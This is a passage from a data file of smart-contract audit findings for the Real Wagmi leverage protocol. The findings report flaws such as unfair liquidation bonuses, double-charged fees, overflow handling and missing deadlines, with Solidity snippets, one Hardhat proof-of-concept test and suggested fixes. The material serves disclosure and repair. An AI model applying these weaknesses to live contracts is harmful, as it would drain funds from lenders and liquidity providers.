loans.\n\n[LiquidityBorrowingManager.sol#L479-L484](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L479-L484)\n\n```solidity\n// Calculating liquidation bonus based on hold token, borrowed amount, and number of used loans\nuint256 liquidationBonus = getLiquidationBonus(\n params.holdToken,\n cache.borrowedAmount,\n params.loans.length\n);\n```\n\n> Note: The params.loans.length value is used here as a multiplier inside of getLiquidationBonus.\n\n[LiquidityBorrowingManager.sol#L683-L703](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683-L703)\n\n```solidity\nfunction getLiquidationBonus(\n address token,\n uint256 borrowedAmount,\n uint256 times\n) public view returns (uint256 liquidationBonus) {\n // Retrieve liquidation bonus for the given token\n Liquidation memory liq = liquidationBonusForToken[token];\n\n if (liq.bonusBP == 0) {\n // If there is no specific bonus for the token\n // Use default bonus\n liq.minBonusAmount = Constants.MINIMUM_AMOUNT;\n liq.bonusBP = dafaultLiquidationBonusBP;\n }\n liquidationBonus = (borrowedAmount * liq.bonusBP) / Constants.BP;\n\n if (liquidationBonus < liq.minBonusAmount) {\n liquidationBonus = liq.minBonusAmount;\n }\n liquidationBonus *= times; // @audit - Multiplied by number of used loans.\n}\n```\n\nWhen analyzing the [LiquidityBorrowingManager](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) repay function, it is evident that due to the code structure the entire bonus goes to the last lender who initiates emergency withdrawal becuase only then the completeRepayment boolean value equals true.\n\n[LiquidityBorrowingManager.sol#L602-L606](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L602-L606)\n\n```solidity\n// If loansInfoLength is 0, remove the borrowing key from storage and get the liquidation bonus\nif (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus;\n} else {\n```\n\nThis is unfair to other lenders because the liquidation bonus was calculated from their loans as well. Moreover, this vulnerability may lead to backrunning, as lenders may try to position themselves behind other lenders' transactions.\n\n## Impact\n\nThe current system has an unfair distribution of the liquidation bonus, which can potentially incentivize backrunning by lenders.\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L465](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465)\n[LiquidityBorrowingManager.sol#L479-L484](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L479-L484)\n[LiquidityBorrowingManager.sol#L683-L703](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L683-L703)\n[LiquidityBorrowingManager.sol#L532](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532)\n[LiquidityBorrowingManager.sol#L602-L606](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L602-L606)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDuring an emergency withdrawal, it is advised to calculate a fair portion of the liquidation bonus for each lender based on their loaned positions, ensuring a more equitable distribution.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//019-M/141.md"}} +{"title":"The liquidation bonus is not distributed fairly during emergency liquidations, leading to backrunning.","severity":"medium","body":"Big Charcoal Cod\n\nmedium\n\n# The liquidation bonus is not distributed fairly during emergency liquidations, leading to backrunning.\n## Summary\nDuring an emergency repayment (liquidation), the liquidation bonus is currently awarded to only the last liquidator. This behaviour leads to backrunning. For fairness and accuracy, the liquidation bonus should be distributed on a per-loan basis.\n\n## Vulnerability Detail\nThe issue arises when owners of loans initiate an emergency repayment. In the current implementation, only the final repayment, which closes the entire borrowing position, receives the liquidation bonus. This is evident in the code snippet below:\n```Solidity\nif (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus; // @audit-issue this not good as the liqudation bonus gets just to the last emergency liquidator \n```\nHowever, the liquidation bonus should be distributed individually for each loan, as indicated in the calculation of the bonus:\n```Solidity\nfunction getLiquidationBonus(\n address token,\n uint256 borrowedAmount,\n uint256 times\n ) public view returns (uint256 liquidationBonus) {\n ...\n liquidationBonus *= times; //@audit-info here makes liquidation bonus *= loans.length\n }\n```\nTherefore, during emergency repayments, the bonus should be distributed based on the number of loans to ensure fairness. Failure to do so may result in backrunning among position owners, with the last liquidator receiving the entire bonus.\n\n## Impact\nThis vulnerability leads to the loss of the \"liquidation bonus\" for the lenders who were the first to liquidate (repay) their positions based on the incorrect model of asset distribution.\n\n## Code Snippet\nJust the last liquidator(owner of position) gets a liqudation bonus: [Liquidation bonus distribution](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L605)\nHowever, the calculation of the bonus is done like this: [Liquidation bonus calculation](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L702)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, it is recommended to distribute the liquidation bonus evenly among all loans during an emergency repayment. Modify the code to divide the bonus by the number of loans, ensuring that each loan's liquidator receives a fair share of the bonus.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//019-M/105-best.md"}} +{"title":"Liquidity providers can lose fees","severity":"medium","body":"Jumpy Arctic Turkey\n\nhigh\n\n# Liquidity providers can lose fees\n## Summary\nThe borrower can cause loss for liquidity providers.\n## Vulnerability Detail\nBorrowers can use the repay() function when they have a negative collateral balance. Due to that they can cause a loss for liquidity providers.\n\nWhen the borrower's collateral balance is negative, the currentFees will be equal to dailyRateCollateralBalance.\n```solidity\nif (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance; //@audit !!\n }\n```\n\nThe feesOwned that liquidity providers receive after will be equal to the [current fees minus the platform fees](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L578). Due to the current fees not being equal to the [correct amount](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L110-L114), the liquidityOwnerReward will be less than it should be.\n\n```solidity\nuint256 liquidityOwnerReward = FullMath.mulDiv(\n params.totalfeesOwed,\n cache.holdTokenDebt,\n params.totalBorrowedAmount\n ) / Constants.COLLATERAL_BALANCE_PRECISION;\n\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n```\n## Impact\nThe borrower can avoid paying fees and cause losses for liquidity providers by front-running the liquidate transaction and using the repay() function to close their position when someone tries to liquidate them.\n## Code Snippet\n\nWagmiLeverageTests.ts\n\n```ts\nit(\"Test Negative Collateral Balance\", async () => {\n const amountWETH = ethers.utils.parseUnits(\"0.88\", 18);\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateral = amountWETH.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[1].liquidity,\n tokenId: nftpos[1].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n const params: LiquidityBorrowingManager.BorrowParamsStruct = {\n internalSwapPoolfee: 500,\n saleToken: USDT_ADDRESS,\n holdToken: WETH_ADDRESS,\n minHoldTokenOut: amountWETH,\n maxCollateral: maxCollateral,\n externalSwap: swapParams,\n loans: loans,\n };\n console.log(\"Before Borrow :\", await WETH.balanceOf(bob.address));\n\n await borrowingManager.connect(bob).borrow(params, deadline);\n\n console.log(\"After Borrow :\", await WETH.balanceOf(bob.address));\n\n await time.increase(86400 * 100);\n\n //console.log(await borrowingManager.getBorrowerDebtsInfo(bob.address));\n console.log(\"collateralBalance :\", -198547385017603584220746951553775132);\n\n const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n const deadline1 = (await time.latest()) + 60;\n\n let params1 = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n \n await borrowingManager.connect(bob).repay(params1, deadline1); \n console.log(\"After Repay :\", await WETH.balanceOf(bob.address));\n \n });\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nThe borrower should not be able to close their position if their collateral balance is negative. If the borrower's position is in profit, the liquidity provider's fee must be paid from that profit before the position is closed.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//018-M/136.md"}} +{"title":"`feesDebt` is charged twice rather than once","severity":"medium","body":"Big Eggshell Mink\n\nmedium\n\n# `feesDebt` is charged twice rather than once\n## Summary\n\nUsers who incur a `feesDebt` are charged twice for this `feesDebt`\n\n## Vulnerability Detail\n\nLet's say that a user calls borrow (`LiquidityBorrowingManager.sol`) once and then holds their position for a while, and then calls borrow again with the same `sellToken` and `holdToken`. Then, `_initOrUpdateBorrowing` will be called. Let's say the users position is now underwater. To be more specific, in the code lines:\n\n```solidity\n(int256 collateralBalance, uint256 currentFees) = _calculateCollateralBalance(\n borrowing.borrowedAmount,\n borrowing.accLoanRatePerSeconds,\n borrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n```\nWe have `collateralBalance` negative.\n\nThen the following lines of code are executed:\n```solidity\n if (collateralBalance < 0) {\n feesDebt = uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION + 1;\n borrowing.dailyRateCollateralBalance = 0;\n }\n```\n\nAnd we also increment the fees owed `borrowing.feesOwed += currentFees;`. However, because the user has to pay the fees debt:\n\n```solidity\n _pay(\n params.holdToken,\n msg.sender,\n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt\n );\n```\n\nBut it is also added to `borrowing.feesOwed` (since `feesDebt` is a part of `currentFees`), the borrower is actually being double charged, since when the user repays the loan they have to pay `borrowing.feesOwed` to the creditor (this is in `LiquidityManager.sol`):\n\n```solidity\n uint256 liquidityOwnerReward = FullMath.mulDiv(\n params.totalfeesOwed,\n cache.holdTokenDebt,\n params.totalBorrowedAmount\n ) / Constants.COLLATERAL_BALANCE_PRECISION;\n\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n```\n\n## Impact\n\nBorrower is overcharged `feesDebt` fees, which could be large in the event that `feesDebt` is large, which is if the position goes very underwater due to the daily collateral interest rate. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L938-L947\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L498-L503\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOne idea is to keep track of the total feesDebt that the user has paid with that `borrowKey` and transfer that back to the Vault upon `repay` before giving fees to the creditor.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//018-M/120-best.md"}} +{"title":"Use `unchecked` in `TickMath.sol` which is extensively used in `LiquidityManager.sol`","severity":"medium","body":"Fun Magenta Aardvark\n\nhigh\n\n# Use `unchecked` in `TickMath.sol` which is extensively used in `LiquidityManager.sol`\n## Summary\nUse `unchecked` in `TickMath.sol` which is extensively used in `LiquidityManager.sol`\n\n## Vulnerability Detail\nThe TickMath.sol library was taken from Uniswap. However, the original solidity version that was used was in this TickMath.sol library was < 0.8.0, Which means that the execution didn't revert when an overflow was reached. Now, `TickMath.sol` has used `0.8.4`, the arithmetic operations should be wrapped in an unchecked block. \n\n`getSqrtRatioAtTick()` has been extensively used in below `LiquidityManager.sol` functions,\n\n1) `_getSingleSideRoundUpBorrowedAmount()`\n2) `_restoreLiquidity()`\n3) `_getHoldTokenAmountIn()`\n\nThe values returned from these functions wont be correct and the execution of these functions will be reverted when overflow occurs.\n\n## Impact\n`getSqrtRatioAtTick()` has been extensively used in `LiquidityManager.sol` functions, but the library `TickMath.sol` is compiled with pragma solidity `^0.8.4` which can be checked [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/vendor0.8/uniswap/TickMath.sol#L3) which doesn't allow for overflows, and since the function is not unchecked.\n\n`getSqrtRatioAtTick()` used in `LiquidityManager.sol` will not behave as intended since it relies implicitly on overflows.\n\nUniswap v3 with version 0.8.0 `TickMath.sol` can be checked as below,\nhttps://github.com/Uniswap/v3-core/blob/0.8/contracts/libraries/TickMath.sol\n\nand Current implementation of `TickMath.sol` used in wagmi contracts can be checked below,\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/vendor0.8/uniswap/TickMath.sol\n\nAt first glance, if you can see both contracts are identical, but the `TickMath.sol` used in wagmi contracts will not let overflows happens, every time this function is used in the code it could revert and break the functionality.\n\n## Code Snippet\nCode reference: \nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/vendor0.8/uniswap/TickMath.sol#L24-L25\n\n```Solidity\nFile: wagmi-leverage/contracts/vendor0.8/uniswap/TickMath.sol\n\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { \n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); @audit // unchecked block is missing\n\n // EDIT: 0.8 compatibility\n require(absTick <= uint256(int256(MAX_TICK)), \"T\");\n\n\n // some code\n\n\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, \"R\"); @audit // unchecked block is missing\n\n \n // some code\n\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96\n ? tickHi\n : tickLow;\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nIt is advised to put the entire function bodies of `getSqrtRatioAtTick()` and `getTickAtSqrtRatio()` in an unchecked block. A modified version of the original `TickMath` library that uses unchecked blocks to handle the overflow, can be found in the 0.8 branch of the [Uniswap v3-core repo](https://github.com/Uniswap/v3-core/blob/0.8/contracts/libraries/TickMath.sol).","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//017-M/150.md"}} +{"title":"The `FullMath` library used in `LiquidityBorrowingManager.sol` and `DailyRateAndCollateral.sol` is unable to handle intermediate overflows due to overflow","severity":"medium","body":"Fun Magenta Aardvark\n\nhigh\n\n# The `FullMath` library used in `LiquidityBorrowingManager.sol` and `DailyRateAndCollateral.sol` is unable to handle intermediate overflows due to overflow\n## Summary\nThe FullMath.sol library used in `LiquidityBorrowingManager.sol` and `DailyRateAndCollateral.sol` contracts doesn't correctly handle the case when an intermediate value overflows 256 bits. This happens because an overflow is desired in this case but it's never reached.\n\n## Vulnerability Detail\nThe FullMath.sol library was taken from Uniswap. However, the original solidity version that was used was in this FullMath.sol library was `< 0.8.0`, Which means that the execution didn't revert when an overflow was reached. This effectively means that when a phantom overflow (a multiplication and division where an intermediate value overflows 256 bits) occurs the execution will revert and the correct result won't be returned. \n\n`mulDivRoundingUp()` from the `FullMath.sol` has been used in below in scope contracts,\n\n1) In `LiquidityBorrowingManager.sol` having functions `calculateCollateralAmtForLifetime()`, `_precalculateBorrowing()` and `_getDebtInfo()`\n\n2) In `DailyRateAndCollateral.sol` having function `_calculateCollateralBalance()`\n\nThe values returned from these functions wont be correct and the execution of these functions will be reverted when phantom overflow occurs.\n\n## Impact\nThe correct result isn't returned in this case and the execution gets reverted when a phantom overflows occurs.\n\n## Code Snippet\nCode reference: https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/vendor0.8/uniswap/FullMath.sol#L119-L129\n\nThe `FullMath.sol` having `mulDivRoundingUp()` function used `LiquidityBorrowingManager.sol` and `DailyRateAndCollateral.sol` doesn't use an unchecked block and it is shown as below(_removed comments to shorten the code_),\n\n```Solidity\nFile: wagmi-leverage/contracts/vendor0.8/uniswap/FullMath.sol\n\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.4;\n\nlibrary FullMath {\n\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked { @audit // used unchecked block here but not used in mulDivRoundingUp()\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n\n // some code\n\n\n result = prod0 * inv;\n return result;\n }\n }\n\n\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator); @audit // does not use unchecked block similar to mulDiv()\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nIt is advised to put the entire function bodies of `mulDivRoundingUp()` similar to `mulDiv()` in an unchecked block. A modified version of the original Fullmath library that uses unchecked blocks to handle the overflow, can be found in the 0.8 branch of the [Uniswap v3-core repo](https://github.com/Uniswap/v3-core/blob/0.8/contracts/libraries/FullMath.sol).\n\nPer `Uniswap-v3-core`, Do below changes in `FullMath.sol`\n\n```diff\n\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n+ unchecked {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n+ }\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//017-M/138-best.md"}} +{"title":"takeOverDebt does not have expiration time protection","severity":"medium","body":"Festive Daffodil Grasshopper\n\nmedium\n\n# takeOverDebt does not have expiration time protection\n## Summary\n\ntakeOverDebt, borrow, and repay are all important entrances for users to interact with funds. On low-throughput networks such as Ethereum, expiration time protection should be added to prevent transactions from staying for a long time before being executed, consuming users' funds beyond expectations.\nHowever, only borrow and repay in the contract have expiration time protection, but takeOverDebt does not.\n\n## Vulnerability Detail\n\n```solidity\n function takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt) external\n\n function borrow(\n BorrowParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline)\n\n function repay(\n RepayParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline)\n```\n\ntakeOverDebt will transfer ownership based on the current status of the loan. The user needs to transfer the required collateral and feeDebt to the contract to take over the loan.\ntakeOverDebt does not add expiration time protection, and the transaction may not be executed until a long time later. At this time, the funds required by the user may be far more than expected, and the loan may continue to depreciate as a non-performing asset, resulting in capital losses.\n\n## Impact\n\nUser transactions may take a long time to be executed, and the funds spent may be far more than expected. And loans, as non-performing assets, may lead to financial losses.\n\n## Code Snippet\n\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd expiration time protection for takeOverDebt","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//016-M/134.md"}} +{"title":"No deadline and slippage check on `takeOverDebt()` can lead to unexpected results","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# No deadline and slippage check on `takeOverDebt()` can lead to unexpected results\n## Summary\n\nThe function [`takeOverDebt()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395) in the LiquidityBorrowingManager contract doesn't have any deadline check like [`borrow`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) or [`repay`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532).\n\nAdditionally it also doesn't have any \"slippage\" check that would make sure the position hasn't changed between the moment a user calls [`takeOverDebt()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395) and the transaction is confirmed.\n\n## Vulnerability Detail\n\nBlockchains are asynchronous by nature, when sending a transaction, the contract targeted can see its state changed affecting the result of our transaction.\n\nWhen a user wants to call [`takeOverDebt()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395) he expects that the debt he is gonna take over will be the same (or very close) as when he signed the transaction.\n\nBy not providing any deadline check, if the transaction is not confirmed for a long time then the user might end up with a position that is not as interesting as it was.\n\nTake this example:\n\n- A position on Ethereum is in debt of collateral but the borrowed tokens are at profit and the user think the token's price is going to keep increasing, it makes sense to take over.\n- The user makes a transaction to take over.\n- The gas price rise and the transaction takes longer than he thoughts to be confirmed.\n- Eventually the transaction is confirmed but the position is not in profit anymore because price changed during that time.\n- User paid the debt of the position for nothing as he won't be making profits.\n\nAdditionally when the collateral of a position is negative, lenders can call [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) as part of the \"emergency liquidity restoration mode\" which will reduce the size of the position. If this happens while another user is taking over the debt then he might end up with a position that is not as interesting as he thoughts.\n\nTake this second example:\n\n- A position on Ethereum with 2 loans is in debt of collateral but the borrowed tokens are at profit and the user think the token's price is going to keep increasing, it makes sense to take over.\n- The user makes a transaction to take over.\n- While the user's transaction is in the MEMPOOL a lender call ['repay()'](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) and get back his tokens.\n- The user's transaction is confirmed and he take over the position but it only has 1 loan now as one of the 2 loans was sent back to the lender. the position might not be at profit anymore or less than it was supposed to be.\n- User paid the debt of the position for nothing as he won't be making profits.\n\n## Impact\n\nMedium. User might pay collateral debt of a position for nothing.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L581\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding the modifier `checkDeadline()` as well as a parameter `minBorrowedAmount` and compare it to the current `borrowedAmount` to make sure no lender repaid their position during the take over.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//016-M/051-best.md"}} +{"title":"Some tokens must approve by zero first","severity":"medium","body":"Blunt Pearl Haddock\n\nmedium\n\n# Some tokens must approve by zero first\n## Summary\n\nProtocol specifically mentions :\n\n> Q: Do you expect to use any of the following tokens with non-standard behavior with the smart contracts?\n> - Whatever uniswap v3 supports for their pools can interact with our contracts\n\nSome tokens will revert when updating the allowance. They must first be approved by zero and then the actual allowance must be approved.\n\n## Vulnerability Detail\n\n`_tryApprove()` function attempts to approve a specific amount of tokens for a spender:\n\n```solidity\n    function _tryApprove(address token, address spender, uint256 amount) private returns (bool) {\n        (bool success, bytes memory data) = token.call(\n            abi.encodeWithSelector(IERC20.approve.selector, spender, amount)   \n        );\n        return success && (data.length == 0 || abi.decode(data, (bool)));\n    }\n```\n\nSome ERC20 tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value. For example, Tether (USDT)'s `approve()` function will revert if the current approval is not zero, to protect against front-running changes of approvals.\n\n## Impact\n\nThe protocol will be impossible to use with certain tokens.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L75-L80\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFor some tokens, you need to set the allowance to zero before increasing the allowance.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//015-M/172-best.md"}} +{"title":"Incompatible ERC20 token would cause contract Dos","severity":"medium","body":"Silly Chili Crab\n\nmedium\n\n# Incompatible ERC20 token would cause contract Dos\n## Summary\n\nSome Incompatible ERC20 tokens would cause contract dos because such tokens don't has standard ERC20 compliant functions.\n\n## Vulnerability Detail\n\nSome tokens is incompatible with ERC20(like USDT), those token will cause contract dos.\n\nWhen user approve token to contract, the contract will call ApproveSwapAndPay#_maxApproveIfNecessary, code snippet is below:\n\n```solidity\nfunction _maxApproveIfNecessary(address token, address spender, uint256 amount) internal {\n if (IERC20(token).allowance(address(this), spender) < amount) {\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n require(_tryApprove(token, spender, 0));\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n true.revertError(ErrLib.ErrorCode.ERC20_APPROVE_DID_NOT_SUCCEED);\n }\n }\n }\n }\n }\n}\n```\n\nWhen user approve token to contract before and `IERC20(token).allowance(address(this), spender) < amount`, protocol will try to approve the max amount to contract. However, some incompatible ERC20 token will revert when approve the spend amount from non-zero to non-zero, like USDT.\n\n\n## Impact\n\nIncompatible ERC20 tokens will cause contract dos.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L91-L104\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nUse OpenZeppelin’s SafeERC20 `safeIncreaseAllowance()` and `safeDecreaseAllowance()` functions to handle such weird tokens.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//015-M/116.md"}} +{"title":"Liquidators might pay high gas fee costs on L1 and may not be incentivized to initiate liquidation","severity":"medium","body":"Dandy Taupe Barracuda\n\nmedium\n\n# Liquidators might pay high gas fee costs on L1 and may not be incentivized to initiate liquidation\n## Summary\nIn some cases, liquidators would not be incentivized to liquidate a position.\n## Vulnerability Detail\nIf a borrower's position is undercollateralized, it may be liquidated by calling the `repay()` function. The incentive for a liquidator is the `liquidationBonus` that was provided by the borrower. Its minimum amount is 1e3. Since `repay()` function updates storage and calls to external functions like uniswap's swap (which costs ~2,029,753 gwei at the time of writng, or ~0.002 eth) and addLiquidity (which is another ~2mil), the `liquidationBonus` might not cover the gas costs of liquidating a position in some cases. The only party that would be interested in calling the `repay()` function in such cases would be uniswap position owners whos liquidity was borrowed. But then they would receive less fees than they are entitled to since burden of paying high gas costs are laid on them.\n## Impact\nIn some cases, only uniswap position owners are incentivized to liquidate borrowers at their own expense. This is clearly in contradiction with code logic where it is assumed that liquidators might be any users.\n## Code 